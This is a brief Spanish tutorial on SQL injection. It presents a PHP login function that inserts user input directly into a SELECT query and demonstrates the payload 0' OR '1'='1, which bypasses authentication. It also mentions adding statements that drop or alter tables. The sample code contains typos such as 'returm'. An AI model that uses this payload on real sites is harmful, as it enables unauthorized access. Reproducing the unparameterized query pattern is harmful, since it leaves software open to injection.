INYECCION SQL

 

La inyección SQL básicamente se basa en ingresar sentencias SQL en los campos de texto dentro de los “Form” de las paginas web, para que estas sean enviadas a las sentencias SQL de la pagina, para entender esto es necesario que entiendan un poco de lo que es programación web.

 

Ejemplo básico de login.

 

 

function validarLogin($nickUser,$passUser){

if($nickUser!=NULL && $passUser!=NULL){

$conexion = @mysql_connect("Host_DB_Serv", "UserDB", "PassUserDB");

@mysql_select_db("schema",$conexion);

$consulta = mysql_query("SELECT * FROM Usuarios WHERE nickUser='$nickUser' AND passUser='$passUser' ",$conexion);

if(@mysql_num_rows($consulta) == 1)

return “true”;

else

return “false”;

}

else

returm "false";

}

?>

 

como pueden ver, en la consulta SQL se busca las coincidencias de nick y pass

  • SELECT * FROM Usuarios WHERE nickUser='$nickUser' AND passUser='$passUser'

y en el condicional “if” verifica que la consulata solo entrege 1 resultado

  • if(@mysql_num_rows($consulta) == 1)

 

como podemos ver solo necesitamos lograr un resultado de búsqueda en la consulta SQL para lograr entrar pasar el login.

 

Para esto usaremos una inyección SQL, para completar la sentencia SQL y lograr un resultado de busqueda, para lo cual las sentencias extras las ingresaremos en el campo del Password.

 

Digamos que en nickUser ponemos 1 y en passUser 0' OR '1'='1, recuerden que las comillas simples son muy importantes para que la inyección funcione;

 

Consulta SQL del login

  • SELECT * FROM Usuarios WHERE nickUser='$nickUser' AND passUser='$passUser'

lo que interpreta el servidor al ingresar los datos 1 en el campo del nick y 0' OR '1'='1 en el campo de password

  • SELECT * FROM Usuarios WHERE nickUser='1' AND passUser='0' OR '1'='1'

 

como pueden ver la sentencia original se ve modificada por la inyección de la sentencia 0' OR '1'='1.

 

ahora dependiendo de la configuración del servidor de base de datos pueden añadir sentencias para crear o borrar tablas, alterar tablas, pero para eso tendrán que aprender SQL